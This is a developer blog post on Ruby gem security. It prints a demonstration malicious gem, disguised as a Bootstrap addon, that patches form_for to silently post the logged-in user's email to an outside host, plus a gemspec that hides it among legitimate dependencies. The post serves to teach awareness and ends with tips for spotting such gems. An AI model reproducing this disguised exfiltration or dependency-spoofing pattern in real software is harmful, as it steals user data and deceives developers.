A Developer with a Pencil

Thinking About Ruby Gems Security

Installing a gem allows that gem’s code to run in the context of your application. Clearly this has security implications: installing a malicious gem on a server could ultimately result in that server being completely penetrated by the gem’s author. Because of this, the security of gem code is a topic of active discussion within the Ruby community. Rubygems.org documentation

It should be obvious to everyone that when you install a gem you don’t know, never used or had a look at its source code - it could be a bad idea.

What could go wrong?

The other day I was looking for a bootstrap date picker solution and found this bootstrap-datepicker.js and comfortably, a gem that wraps this neat little script.

After installing this gem, I started thinking about how easily I believed this gem is related to the bootstrap plugin and how fast I added it to the project’s Gemfile.

What if it wasn’t doing what it is supposed to do, but just an eye catching name for a melicious code?

Introducing - bootstrap_buttons (Please, do not install this gem)

Meet bootstrap_buttons - an evil gem dressed as a pretty addon for Bootstrap. In short what this gem does as you can see here is overriding your form_for method and adds a bit of evil sauce to it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
module BootstrapButtons
  module FormGrabber

    # Patch form_for to be evil
    def form_for(record, options = {}, &block)
      steal_identity
      super
    end

    protected

    # hidden evil method that posts your session and cookies somewhere
    def steal_identity
      begin
        HTTParty.post("http://bootstrap-buttons.herokuapp.com/users.json", body: { user: {email: current_user.email}})
      rescue

      end
    end
  end
end

ActionView::Base.send :include BootstrapButtons::FormGrabber

Long story short - it will send the current logged in user’s email address to http://bootstrap-buttons.herokuapp.com and then continue to genereate your form like nothing evil happened.

How is this dangerous?

Aside from the fact that single look at this gem will reveal its true evil identity - what happens if someone installs this gem without paying attention to it? (as in, being a dependency for a bigger spoofed bootstrap bundle):

bootstrap_extensions.gemspec
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# coding: utf-8
lib = File.expand_path('../lib', __FILE__)
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
require 'bootstrap_extensions/version'

Gem::Specification.new do |spec|
  spec.name          = "bootstrap_extensions"
  spec.version       = BootstrapExtensions::VERSION
  spec.authors       = ["I am not evil"]
  spec.email         = ["elad@no-still-not-evil.com"]
  spec.description   = "LIE - An awesome collection of bootstap addons"
  spec.summary       = "Cool gem - install it!"
  spec.homepage      = ""
  spec.license       = "MIT"

  spec.files         = `git ls-files`.split($/)
  spec.executables   = spec.files.grep(%r{^bin/}) { |f| File.basename(f) }
  spec.test_files    = spec.files.grep(%r{^(test|spec|features)/})
  spec.require_paths = ["lib"]

  spec.add_development_dependency "bundler", "~> 1.3"
  spec.add_development_dependency "rake"
  spec.add_dependency 'bootstrap-colorpicker-rails' # This is legit
  spec.add_dependency 'bootstrap-datepicker-rails'  # so as this one
  spec.add_dependency 'bootstrap_buttons'           # Holy shit this one is evil!!
end

First two add_dependency lines are cool - those are legitimate bootstrap extensions gems - wrapped as rails engines to allow easy integration in rails apps.

You see bootstrap_buttons hiding there? seems legit right? it will still post your user’s email address to the remote host.

What to do?

Well, just like in any of the other options suggested by the Ruby community to improve gem security and trust - there is no silver bullet. A blind trust is not a good thing unless you absolutely know what you are using and when it is coming from (a.k.a “your own code”).

Installing OS code into your application needs a little touch of Paranoia, there is no need to go over all the code you’ll ever add to your app - but a skim browsing over it could be a nice precaution

Few pointers

While skimming through gem could, the following flags should rise your suspicion a bit.

  1. Using HTTP interface that is not part of the gem. (You would expect an API library to use HTTP requests - but not one that is supposed to add some neat themes)
  2. If this is a Rails engine, read the javascript files. There is nothing better for an evil hacker than the ability to insert free rolling javascript in your code.
  3. Session access. Gems that access your session should be investigate more thoroughly

More on gems security

  1. The Rubygems.org piece on security
  2. A bit on the problems with Gem signing
  3. And how signing is actually being done

Comments